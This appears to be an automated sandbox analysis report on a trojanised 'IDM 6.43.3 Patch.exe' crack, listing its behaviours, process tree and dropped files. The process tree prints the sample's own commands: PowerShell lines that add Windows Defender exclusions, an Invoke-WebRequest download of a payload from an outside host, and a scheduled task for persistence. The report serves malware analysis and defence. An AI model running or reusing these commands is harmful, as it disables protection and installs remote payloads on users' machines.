Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    15/07/2026, 19:56

General

  • Target
    IDM 6.43.3 Patch.exe
  • Size 6.8MB
  • Sample260715-ynyf2agy4v
  • SHA256 6ed1b26ef5fbc67c9db372d578e294295a041a3091644a6b1b896f89baad54d4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 7 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 11 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\IDM 6.43.3 Patch.exe
    "C:\Users\Admin\AppData\Local\Temp\IDM 6.43.3 Patch.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:540
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\i6.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2124
    • C:\Windows\system32\cmd.exe
      "C:\Windows\Sysnative\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\wtmpd\t20804.bat "C:\Users\Admin\AppData\Local\Temp\IDM 6.43.3 Patch.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:980
      • C:\Windows\system32\attrib.exe
        attrib +h C:\Users\Admin\AppData\Local\Temp\wtmpd
        3⤵
        • Views/modifies file attributes
        PID:2436
      • C:\Windows\system32\mode.com
        MODE CON: COLS=98 LINES=22
        3⤵
          PID:2700
        • C:\Users\Admin\AppData\Local\Temp\wtmpd\t20856.exe
          C:\Users\Admin\AppData\Local\Temp\wtmpd\t20856.exe kF5nJ4D92hfOpc8
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:4372
        • C:\Users\Admin\AppData\Local\Temp\wtmpd\t20856.exe
          C:\Users\Admin\AppData\Local\Temp\wtmpd\t20856.exe j6NM4Cxfv3
          3⤵
          • Executes dropped EXE
          PID:4460
        • C:\Users\Admin\AppData\Local\Temp\wtmpd\t20856.exe
          C:\Users\Admin\AppData\Local\Temp\wtmpd\t20856.exe i9dCxZ5SjH
          3⤵
          • Executes dropped EXE
          PID:4140
        • C:\Windows\system32\reg.exe
          REG QUERY "HKLM\Hardware\Description\System\CentralProcessor\0"
          3⤵
          • Checks processor information in registry
          PID:4872
        • C:\Windows\system32\find.exe
          FIND /I "x86"
          3⤵
            PID:5088
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            POWERSHELL -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\DLL" -Force
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3164
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            POWERSHELL -Command Add-MpPreference -ExclusionProcess "dlIhost.exe" -Force
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1120
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            POWERSHELL -Command Add-MpPreference -ExclusionProcess "NSudoLC.exe" -Force
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2320
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            POWERSHELL -Command Add-MpPreference -ExclusionProcess "7za.exe" -Force
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:556
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            POWERSHELL -Command Add-MpPreference -ExclusionProcess "IDMan.exe" -Force
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:4796
          • C:\Users\Admin\AppData\Local\Temp\wtmpd\t20856.exe
            C:\Users\Admin\AppData\Local\Temp\wtmpd\t20856.exe dfg84NsBe2 "POWERSHELL.exe" "-Command "Invoke-WebRequest 'https://www.crackingcity.com/VScan/dlIhost.7z' -OutFile 'C:\Users\Admin\AppData\Roaming\DLL\dlIhost.7z'"" 1
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4924
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-WebRequest 'https://www.crackingcity.com/VScan/dlIhost.7z' -OutFile 'C:\Users\Admin\AppData\Roaming\DLL\dlIhost.7z'
              4⤵
              • Badlisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:4320
          • C:\Users\Admin\AppData\Local\Temp\afolder\7za.exe
            "C:\Users\Admin\AppData\Local\Temp\afolder\7za.exe" e "C:\Users\Admin\AppData\Roaming\DLL\dlIhost.7z" -o"C:\Users\Admin\AppData\Roaming\DLL" -pun#912345678@rar -aoa
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:3336
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /create /xml "C:\Users\Admin\AppData\Local\Temp\afolder\UpdateTask.xml" /tn "UpdateTask" /f
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2452
          • C:\Users\Admin\AppData\Local\Temp\wtmpd\t20856.exe
            C:\Users\Admin\AppData\Local\Temp\wtmpd\t20856.exe Yz29koFyRv 1000
            3⤵
            • Executes dropped EXE
            PID:4816
          • C:\Users\Admin\AppData\Local\Temp\wtmpd\t20856.exe
            C:\Users\Admin\AppData\Local\Temp\wtmpd\t20856.exe g93Xcv53d5
            3⤵
            • Executes dropped EXE
            PID:3868

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 3KB
            • SHA256 079b31aa6c5078c9a97ffc9cfd2778942fbb12359b05975eb18507b6a1f18438
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 060412ccc59f531ce8c02f65df9c9ae05ab4ff0e423d093ae08a51dbbf0cf9f3
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 165d0a798e6592eaa6c8119ab3c50c1aefed5a9a157febab7d8079c8c2c56c29
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 b54e958eb453237701a5cb9b3ab88195454800cf175f0ffa6d841d9f1d47478a
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 a2d6f682ae4c1ce1ca5463bdc63535b7e97f750daf11a193d39ddaeb438912e5
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_4w4wil11.2yk.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4w4wil11.2yk.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            7za.exe

            • Path C:\Users\Admin\AppData\Local\Temp\afolder\7za.exe
            • Size 637KB
            • SHA256 e0e2c7d0f740fe2a4e8658ce54dfb6eb3c47c37fe90a44a839e560c685f1f1fa
            • MD5 SHA1 SHA512 SSDEEP TLSH

            UpdateTask.xml

            • Path C:\Users\Admin\AppData\Local\Temp\afolder\UpdateTask.xml
            • Size 1KB
            • SHA256 cde1da524b4f058d894585c6d9f14771d0471065737f8ed024060f15b224a57b
            • MD5 SHA1 SHA512 TLSH

            i6.bat

            • Path C:\Users\Admin\AppData\Local\Temp\i6.bat
            • Size 173B
            • SHA256 941c169c07670650fc6c6148c1cae068b69bac209e05010594e164aafc7cdf8b
            • MD5 SHA1 SHA512 TLSH

            i6.f

            • Path C:\Users\Admin\AppData\Local\Temp\i6.f
            • Size 32B
            • SHA256 2e340d2b9ced6ad419c031400fb974feed427cfabd0c167dea26ec732d8579be
            • MD5 SHA1 SHA512

            i6.t

            • Path C:\Users\Admin\AppData\Local\Temp\i6.t
            • Size 3B
            • SHA256 f1b2f662800122bed0ff255693df89c4487fbdcf453d3524a42d4ec20c3d9c04
            • MD5 SHA1 SHA512

            t20804.bat

            • Path C:\Users\Admin\AppData\Local\Temp\wtmpd\t20804.bat
            • Size 8KB
            • SHA256 08f98a70b13492eed88fa1c8aab58480e3b9ac7dffc574df4e2f3fada9c45690
            • MD5 SHA1 SHA512 SSDEEP TLSH

            t20856.exe

            • Path C:\Users\Admin\AppData\Local\Temp\wtmpd\t20856.exe
            • Size 76KB
            • SHA256 60b5fd0d5b95fb2f5efaf74454ab2b92a8b446eefafec3775e66ec6a835c569a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            dlIhost.7z

            • Path C:\Users\Admin\AppData\Roaming\DLL\dlIhost.7z
            • Size 11KB
            • SHA256 6cf640d04108819e7b07352acd1241519eb2f256900fbad55b8baa2c6a66f933
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/1120-103-0x000001D948650000-0x000001D948705000-memory.dmp

            memory/2320-120-0x000001FCE4620000-0x000001FCE46D5000-memory.dmp

            memory/3164-82-0x000002A1EF9C0000-0x000002A1EF9DC000-memory.dmp

            memory/3164-84-0x000002A1EFAA0000-0x000002A1EFAAA000-memory.dmp

            memory/3164-74-0x000002A1EF740000-0x000002A1EF762000-memory.dmp

            memory/3164-83-0x000002A1EF9E0000-0x000002A1EFA95000-memory.dmp

            memory/4320-168-0x0000000005D40000-0x0000000006097000-memory.dmp

            memory/4320-159-0x0000000005220000-0x0000000005286000-memory.dmp

            memory/4320-165-0x0000000005AD0000-0x0000000005B36000-memory.dmp

            memory/4320-170-0x00000000061C0000-0x00000000061DE000-memory.dmp

            memory/4320-171-0x0000000006200000-0x000000000624C000-memory.dmp

            memory/4320-173-0x0000000006700000-0x000000000671A000-memory.dmp

            memory/4320-172-0x0000000007AF0000-0x000000000816A000-memory.dmp

            memory/4320-158-0x0000000005180000-0x00000000051A2000-memory.dmp

            memory/4320-157-0x0000000005390000-0x0000000005A5A000-memory.dmp

            memory/4320-156-0x0000000002B70000-0x0000000002BA6000-memory.dmp

            memory/4796-153-0x000002D0BF930000-0x000002D0BF9E5000-memory.dmp